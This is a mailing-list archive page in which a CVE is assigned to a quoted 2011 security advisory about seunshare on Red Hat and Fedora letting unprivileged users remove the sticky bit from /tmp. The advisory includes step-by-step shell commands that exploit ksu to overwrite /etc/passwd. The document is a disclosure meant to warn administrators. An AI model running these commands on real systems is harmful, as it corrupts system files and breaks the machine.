Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 23 Feb 2011 10:58:38 +0800
From: Eugene Teo <eugene@...hat.com>
To: oss-security@...ts.openwall.com
CC: Kurt Seifried <kurt@...fried.org>
Subject: Re: CVE Request

On 02/23/2011 09:33 AM, Kurt Seifried wrote:
> Can we get a CVE # for this please and thank you.

Use CVE-2011-1011.

Eugene

> -Kurt
>
> From: 	Tavis Ormandy   	2/22/11 6:01 PM 	  	
> To: 	full-disclosure@...ts.grok.org.uk
> Subject: 	[Full-disclosure] Developers should not rely on the
> stickiness of/tmp on Red Hat Linux
> Developers should not rely on the stickiness of /tmp on Red Hat Linux
> ---------------------------------------------------------------------
>
> Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
> setuid root utility from policycore-utils intended to make new filesystem
> namespaces available to unprivileged processes for the purpose of sandboxing.
>
> The intention is to permit unprivileged users to mount a new temporary
> directory on /home and /tmp for sandboxed processes, thus preventing
> access to the contents of the original directories in the event of a
> compromise.
>
> One unintended side effect of making these features available to unprivileged
> processes is that users can now change how setuid applications perceive /tmp
> and /home.
>
> The purpose of this advisory is to inform developers and system administrators
> of affected systems that unprivileged users can effectively remove the
> sticky-bit from the system /tmp directory, and thus relying on the stickiness
> of /tmp on redhat systems is no longer safe.
>
> This advisory is intended for system administrators and developers of
> Red Hat Linux systems; journalists, end users and other non-technical
> readers do not need to be concerned.
>
> --------------------
> Affected Software
> ------------------------
>
> All known versions of policycore-utils are affected.
>
> I discussed the potentially dangerous implications of introducing this change
> with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
> behaviour post-launch.
>
> --------------------
> Consequences
> -----------------------
>
> A simple example of a common application that is now unsafe is ksu, from the
> krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
> authentication failure.
>
> This is normally a safe operation, as /tmp is protected by the sticky bit.
>
> However, we can use seunshare to interfere with this process.
>
> # create a new directory that we control
> $ mkdir /tmp/seunshare
>
> # use seunshare to mount it on /tmp and /home and run our setuid root binary
> $ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu`
> root&>/dev/null&
> [1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ --
> `which ksu` root
>
> # we can examine the mounts visible to the process using the /proc interface
> $ grep /tmp /proc/$(pidof ksu)/mountinfo
> 66 64 1:1 /tmp/seunshare /tmp
>
> # here is the temporary file created by ksu during authentication
> $ ls -l /tmp/seunshare/
> total 4.0K
> -rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1
>
> # as we own the directory, and the sticky-bit is not set, we are permitted to
> # unlink files
> $ rm -f /tmp/seunshare/krb5cc_0.1
>
> # now we can replace the file with a link
> $ ln /etc/passwd /tmp/seunshare/krb5cc_0.1
>
> # make ksu authentication fail.
> $ fg
> seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root
>
> And /etc/passwd was damaged, thus breaking the system.
>
> -------------------
> Credit
> -----------------------
>
> This bug was discovered by Tavis Ormandy.
>
> -------------------
> Greetz
> -----------------------
>
> Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
> $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and
> colleagues.
>
> -------------------
> Notes
> -----------------------
>
> Although only an example of damaging a system has been provided, it's
> reasonable to assume that various applications rely on the stickiness of
> /tmp to prevent code execution.
>
> Administrators are advised to remove the setuid bit from seunshare, or
> restrict access to it.
>
> -------------------
> References
> -----------------------
>
> None.
>


-- 
Eugene Teo / Red Hat Security Response Team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.